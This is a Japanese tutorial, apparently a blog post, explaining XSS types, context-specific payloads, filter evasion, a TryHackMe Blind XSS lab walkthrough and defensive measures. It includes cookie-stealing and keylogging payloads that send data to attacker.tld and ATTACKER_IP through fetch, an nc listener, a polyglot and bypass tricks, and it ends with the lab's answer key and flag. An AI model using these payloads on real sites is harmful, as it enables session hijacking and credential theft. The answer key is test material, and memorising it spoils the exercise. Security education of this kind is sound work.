【セキュリティ】XSS超入門 ─ 仕組み・検出・攻撃シナリオ・回避と防御まで一気通貫

はじめに

XSS（Cross-site Scripting）は、ユーザー入力に混入した悪意のあるJavaScriptが、他ユーザーのブラウザで実行されてしまう脆弱性です。検出頻度も影響範囲も大きく、バグバウンティでも常連のカテゴリ。この記事では、XSSのタイプ別の見分け方と、コンテキストに適合したペイロード設計、簡易検証手順、そして防御策までを総まとめします。

前提知識

• JavaScriptの超基礎（<script>…</script>・alert()・DOMの概念）
• HTTPの基本（リクエスト／レスポンス、クエリ文字列、ヘッダ等）

1. XSSとは何か（定義と狙い）

XSSは“注入（Injection）”の一種で、他人のブラウザで自分のJSを実行させる攻撃です。目的（意図）により典型シナリオが分かれます。

代表的な目的（Intention）

• PoC（成立証明）

  <script>alert('XSS');</script>
  

• セッション強奪（Cookie送出）

  <script>fetch('https://attacker.tld/steal?c='+btoa(document.cookie));</script>
  

• キー入力の窃取

  <script>document.onkeypress=e=>fetch('https://attacker.tld/log?k='+btoa(e.key))</script>
  

• ビジネスロジック悪用（アプリ内JSの直接呼出し）

  <script>user.changeEmail('attacker@tld');</script>
  

重要：ペイロードは常に“どこに反映されるか（コンテキスト）”で変わる。同じ<script>でも、タグ内・属性値内・JS文字列内・コメント内などで“必要な抜け方”が違います。

---

2. XSSの4タイプとテスト要点

2.1 Reflected XSS（反射型）

• 定義：リクエスト由来のデータが検証なしで直ちにレスポンスに反映され実行される
• 狙いどころ：URLのパラメータ／パス／（まれに）ヘッダ
• インパクト：悪性URLを踏ませるだけで実行
• 簡易テスト：反映位置を見つけ、そのコンテキストに合わせた“抜け” を入れる

2.2 Stored XSS（格納型）

• 定義：悪性入力がDB等に保管され、閲覧者のブラウザで後日実行される
• 狙いどころ：コメント欄、プロフィール、一覧・検索結果など保存→再表示される箇所
• 落とし穴：クライアント側の入力制限だけを信用せず、手動でPOSTして型外値やタグ混入を試す

2.3 DOM-based XSS

• 定義：フロントJSのみで発火（サーバ往復なし）。window.location.*等のソース→innerHTMLやeval()等のシンクへ
• 見つけ方：ソース（例：location.hash/search等）と、危険シンク（innerHTML/document.write/eval()）のデータフローを読む
• 要チェック：eval()やFunction()などの動的実行は特に危険

2.4 Blind XSS

• 定義：格納型に似るが、攻撃者自身はブラウザで発火を確認できない。社内管理画面などで発火
• 必要要素：コールバック（HTTP外部送信）。例：XSS Hunter Express、あるいは自前fetch()で受信サーバへ送る

---

3. コンテキスト別ペイロード設計（「抜け方」チートシート）

反映コンテキスト	典型的抜け方	例
HTML本文（タグ外）	そのまま<script>	<script>alert(1)</script>
HTML属性値（value="..."等）	"><script>...で属性閉じ＋タグ閉じ	"><script>alert(1)</script>
<textarea>…内	</textarea><script>...	</textarea><script>alert(1)</script>
JS文字列内（var x='…';）	' ; … //でクォート閉じ＋文終端＋コメント	';alert(1);//
タグ名フィルタあり	分割やダミー挿入でバイパス	<sscriptcript>alert(1)</sscriptcript> → フィルタ後<script>
文字< >が除去	イベント属性でタグ内発火	...jpg" onload="alert(1)
何でも通す万能系	ポリグロット	（下記参照）

ポリグロット例（学習用）

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e

---

4. フィルタ回避の基本テク

• キーワード除去：script除去 → <sSCRIPTscript>のように重ねて挿入して除去後に正規化させる
• エンコード：URLエンコード、HTMLエンティティ、Base64など多段エンコードでWAFをすり抜け
• イベント属性：onload/onerror/onclick…タグを閉じられなくても発火できる
• 大小文字混在：ScRiPt、svGなど大文字混在や名前空間トリック

ただし、実環境での無闇な実行は禁止。検証は承認された検査環境・権限でのみ行いましょう。

---

5. Blind XSSの実践（TryHackMe演習の流れ）

1. 攻撃用リスナーを立てる（例：ポート9001）

   nc -nlvp 9001
   

2. 格納→内部ビューが起きる地点に、コールバック付きペイロードを投下

   </textarea><script>
     fetch('http://ATTACKER_IP:9001?cookie='+btoa(document.cookie))
   </script>
   

3. 受信ログにCookie等が届く（Base64をデコード）

   • 例：staff-session=4AB305E55955197693F01D6F8FD2D321

受信できない時はVPNやFW設定を疑う。TryHackMeのAttackBox＋公開ポートを使うと楽。

---

6. 検出チェックリスト（どこを見る？）

• 画面反映系：
  • URL パラメータ（クエリ・パス）
  • 保存→再表示（コメント、プロフィール、リスト）
  • DOM操作：innerHTML/document.write/insertAdjacentHTML 等
• JS危険API：eval / Function / setTimeout(String) / setInterval(String)
• 反映箇所のコンテキスト（本文／属性／JS文字列／コメント内）を特定し、適合する抜け方を選ぶ

---

7. 実装側の防御

• 出力時エスケープ（コンテキスト別）：
  • HTML本文 → & < > " ' のエスケープ
  • HTML属性 → 追加で"/'厳格エスケープ
  • JS文字列 → 文字列用エスケープ（\' \" \n …）
• テンプレートエンジンのサニタイザを正しく使う（自前組み込みは危険）
• CSP（Content Security Policy）：script-src 'self'、nonce/hash運用でインライン抑止
• Cookieの保護：HttpOnly（JSから読めない）＋ Secure＋ SameSite
• DOM操作の最小化：innerHTMLではなく安全API（textContent） を使う
• ライブラリ：DOMPurify等の実績あるサニタイザを適切に設定
• Trusted Types（対応ブラウザ）：シンクに渡せる型を制限

---

8. 便利スニペット集（学習用）

Reflected（属性値内）

"><script>alert('THM')</script>

Stored（textarea内）

</textarea><script>alert('THM')</script>

JS文字列内

';alert('THM');// 

タグ閉じ不可・イベントで発火

...jpg" onload="alert('THM')"

Cookie送出（btoaで可搬性↑）

<script>fetch('http://x.x.x.x:9001?c='+btoa(document.cookie))</script>

※ すべて許可された検証環境のみで使用すること。

---

9. TryHackMe演習：QAまとめ（答え）

• What does XSS stand for?
  Cross-site Scripting
• Which document property could contain the user's session token?
  document.cookie
• Which JavaScript method is often used as a Proof Of Concept?
  alert
• Where in an URL is a good place to test for reflected XSS?
  Parameters
• How are stored XSS payloads usually stored on a website?
  database
• What unsafe JavaScript method is good to look for in source code?
  eval()
• What tool can you use to test for Blind XSS?
  XSS Hunter Express
• What type of XSS is very similar to Blind XSS?
  Stored XSS
• Perfecting payloads Level 6 Flag
  THM{XSS_MASTER}
• Blind XSS（実践）— staff-session cookie
  4AB305E55955197693F01D6F8FD2D321

---

おわりに

XSSは 「どこに、どう反映されるか」＝コンテキスト理解 が勝負です。
まずは反映位置の特定 → コンテキストに合う抜け方の選択 → フィルタ回避の工夫、の順で安定して再現できます。防御側は出力エスケープ＋CSP＋HttpOnlyを基本に、DOMの扱いを安全APIへ寄せていきましょう。